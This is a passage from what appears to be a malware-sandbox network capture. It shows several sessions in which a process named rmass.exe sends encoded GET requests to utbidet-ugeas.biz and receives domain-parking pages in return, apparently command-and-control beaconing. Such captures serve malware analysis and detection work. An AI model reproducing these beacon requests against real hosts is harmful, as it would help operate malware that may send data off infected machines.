2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 54 36 51 75 5a 56 74 65 52 51 4e 38 53 48 49 49 6b 58 58 55 55 64 2f 6c 2f 55 70 32 50 74 6b 6d 6a 58 51 7a 55 64 4b 70 32 67 57 2b 41 63 45 73 51 63 76 67 2b 31 36 66 4f 43 4b 6a 63 4b 64 41 49 32 76 67 62 74 38 49 71 45 76 75 33 6e 64 42 2f 4f 45 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTT6QuZVteRQN8SHIIkXXUUd/l/Up2PtkmjXQzUdKp2gW+AcEsQcvg+16fOCKjcKdAI2vgbt8IqEvu3ndB/OEQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:12.833406925 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNjJmZTg1OTEtOGNlYS00ZmQ4LTk4MDgtOTUyMTIzNjY0YTA1IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	58826	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:13.680571079 CET	169	OUT	GET /d/N?02DF6C2A9FDF6C2A9FF16C069FDF6C0227DB40085BDE6CEA37DD681CB1ED4213ADEF5C049F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:14.138860941 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:13 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 969397cb-f613-46f1-9583-4196acff9d04 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_sbS2pxHvwMDwTAzaa9R4t6n3AxYfXzCysNvQfDymWABxd1DYxFcubIwvqr6QCIEt32sbUBDXL4kYVKevjk8XgQ== set-cookie: parking_session=969397cb-f613-46f1-9583-4196acff9d04; expires=Sun, 05 Jan 2025 10:04:14 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 73 62 53 32 70 78 48 76 77 4d 44 77 54 41 7a 61 61 39 52 34 74 36 6e 33 41 78 59 66 58 7a 43 79 73 4e 76 51 66 44 79 6d 57 41 42 78 64 31 44 59 78 46 63 75 62 49 77 76 71 72 36 51 43 49 45 74 33 32 73 62 55 42 44 58 4c 34 6b 59 56 4b 65 76 6a 6b 38 58 67 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_sbS2pxHvwMDwTAzaa9R4t6n3AxYfXzCysNvQfDymWABxd1DYxFcubIwvqr6QCIEt32sbUBDXL4kYVKevjk8XgQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:14.138889074 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTY5Mzk3Y2ItZjYxMy00NmYxLTk1ODMtNDE5NmFjZmY5ZDA0IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	58839	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:15.487082005 CET	169	OUT	GET /d/N?0294FC613194FC6131BAFC4D3194FC498990D043F595FCA19996F8571FA6D25803A4CC4F31 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:15.951051950 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:14 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 2de5286b-1ac7-49d7-914d-191e5395219c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_aS7zR82CJhrhZ6uvbTI2KCtWASZfBLpXF73tpg4Htcpd8fKN2v+Q51v2PoHgXG3FRplsFfEHblCBM2EJTQ77/g== set-cookie: parking_session=2de5286b-1ac7-49d7-914d-191e5395219c; expires=Sun, 05 Jan 2025 10:04:15 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 61 53 37 7a 52 38 32 43 4a 68 72 68 5a 36 75 76 62 54 49 32 4b 43 74 57 41 53 5a 66 42 4c 70 58 46 37 33 74 70 67 34 48 74 63 70 64 38 66 4b 4e 32 76 2b 51 35 31 76 32 50 6f 48 67 58 47 33 46 52 70 6c 73 46 66 45 48 62 6c 43 42 4d 32 45 4a 54 51 37 37 2f 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_aS7zR82CJhrhZ6uvbTI2KCtWASZfBLpXF73tpg4Htcpd8fKN2v+Q51v2PoHgXG3FRplsFfEHblCBM2EJTQ77/g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:15.951077938 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMmRlNTI4NmItMWFjNy00OWQ3LTkxNGQtMTkxZTUzOTUyMTljIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	58849	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:16.703082085 CET	169	OUT	GET /d/N?02CA273AEFCA273AEFE42716EFCA271257CE0B182BCB27FA47C8230CC1F80903DDFA1714EF HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:17.157998085 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:16 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: c3e8d543-7e70-4f72-b875-ac8fcbebad75 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VpZaiqSrkfi+Mw1wPA64HFu9VPitRF1aAOyoA1+k6SY3o02DFuB9XFoQJ9J+vykgY1bt3/f0saPlL1MgV8ESng== set-cookie: parking_session=c3e8d543-7e70-4f72-b875-ac8fcbebad75; expires=Sun, 05 Jan 2025 10:04:17 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 70 5a 61 69 71 53 72 6b 66 69 2b 4d 77 31 77 50 41 36 34 48 46 75 39 56 50 69 74 52 46 31 61 41 4f 79 6f 41 31 2b 6b 36 53 59 33 6f 30 32 44 46 75 42 39 58 46 6f 51 4a 39 4a 2b 76 79 6b 67 59 31 62 74 33 2f 66 30 73 61 50 6c 4c 31 4d 67 56 38 45 53 6e 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VpZaiqSrkfi+Mw1wPA64HFu9VPitRF1aAOyoA1+k6SY3o02DFuB9XFoQJ9J+vykgY1bt3/f0saPlL1MgV8ESng==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:17.158029079 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzNlOGQ1NDMtN2U3MC00ZjcyLWI4NzUtYWM4ZmNiZWJhZDc1IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	58860	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:18.060537100 CET	169	OUT	GET /d/N?02282AE624282AE624062ACA24282ACE9C2C06C4E0292A268C2A2ED00A1A04DF16181AC824 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:18.538439035 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:17 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 8e1fd804-5c28-4410-8015-a56754a8d6ab cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_uejynbs6Q7vXB+BFy1rSu87wwgE+cV0+wjk2ksTgBxlC3NM17Yi3J2x7N5g/aLE1WvO5DgymNIZA5KiRY2f8/Q== set-cookie: parking_session=8e1fd804-5c28-4410-8015-a56754a8d6ab; expires=Sun, 05 Jan 2025 10:04:18 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 75 65 6a 79 6e 62 73 36 51 37 76 58 42 2b 42 46 79 31 72 53 75 38 37 77 77 67 45 2b 63 56 30 2b 77 6a 6b 32 6b 73 54 67 42 78 6c 43 33 4e 4d 31 37 59 69 33 4a 32 78 37 4e 35 67 2f 61 4c 45 31 57 76 4f 35 44 67 79 6d 4e 49 5a 41 35 4b 69 52 59 32 66 38 2f 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_uejynbs6Q7vXB+BFy1rSu87wwgE+cV0+wjk2ksTgBxlC3NM17Yi3J2x7N5g/aLE1WvO5DgymNIZA5KiRY2f8/Q==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:18.538460016 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGUxZmQ4MDQtNWMyOC00NDEwLTgwMTUtYTU2NzU0YThkNmFiIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	58878	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:20.845746994 CET	169	OUT	GET /d/N?02D3014E78D3014E78FD016278D30166C0D72D6CBCD2018ED0D1057856E12F774AE3316078 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:21.299448013 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:21 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 677181c3-0759-4135-b683-d38ee7faff01 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Xuipfkof3wXyOwIApktkYcpCx03b0jVFBwI6OmLFwmsqMV9tLhf2+b2ODUCKu0sc8aS5qATwqBgdffDz/1mmFQ== set-cookie: parking_session=677181c3-0759-4135-b683-d38ee7faff01; expires=Sun, 05 Jan 2025 10:04:21 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 75 69 70 66 6b 6f 66 33 77 58 79 4f 77 49 41 70 6b 74 6b 59 63 70 43 78 30 33 62 30 6a 56 46 42 77 49 36 4f 6d 4c 46 77 6d 73 71 4d 56 39 74 4c 68 66 32 2b 62 32 4f 44 55 43 4b 75 30 73 63 38 61 53 35 71 41 54 77 71 42 67 64 66 66 44 7a 2f 31 6d 6d 46 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Xuipfkof3wXyOwIApktkYcpCx03b0jVFBwI6OmLFwmsqMV9tLhf2+b2ODUCKu0sc8aS5qATwqBgdffDz/1mmFQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:21.299484968 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNjc3MTgxYzMtMDc1OS00MTM1LWI2ODMtZDM4ZWU3ZmFmZjAxIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	58887	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:49:21.723247051 CET	169	OUT	GET /d/N?022629C2952629C2950829EE952629EA2D2205E0512729023D242DF4BB1407FBA71619EC95 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:49:22.200043917 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:49:21 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: b1676694-0bc2-4176-aa17-0d352cddeb53 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_AoaCM6VsKyBmtP4it3oCBjx0AC7anZWJcF/RUvvkt8XkWsYk4x47bmwgRuOc6jMV8FpRKemj6DpjH/8/4g2ORg== set-cookie: parking_session=b1676694-0bc2-4176-aa17-0d352cddeb53; expires=Sun, 05 Jan 2025 10:04:22 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 41 6f 61 43 4d 36 56 73 4b 79 42 6d 74 50 34 69 74 33 6f 43 42 6a 78 30 41 43 37 61 6e 5a 57 4a 63 46 2f 52 55 76 76 6b 74 38 58 6b 57 73 59 6b 34 78 34 37 62 6d 77 67 52 75 4f 63 36 6a 4d 56 38 46 70 52 4b 65 6d 6a 36 44 70 6a 48 2f 38 2f 34 67 32 4f 52 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_AoaCM6VsKyBmtP4it3oCBjx0AC7anZWJcF/RUvvkt8XkWsYk4x47bmwgRuOc6jMV8FpRKemj6DpjH/8/4g2ORg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:49:22.200058937 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjE2NzY2OTQtMGJjMi00MTc2LWFhMTctMGQzNTJjZGRlYjUzIiwicGFnZV90aW1lIjoxNzM2MDcwNT

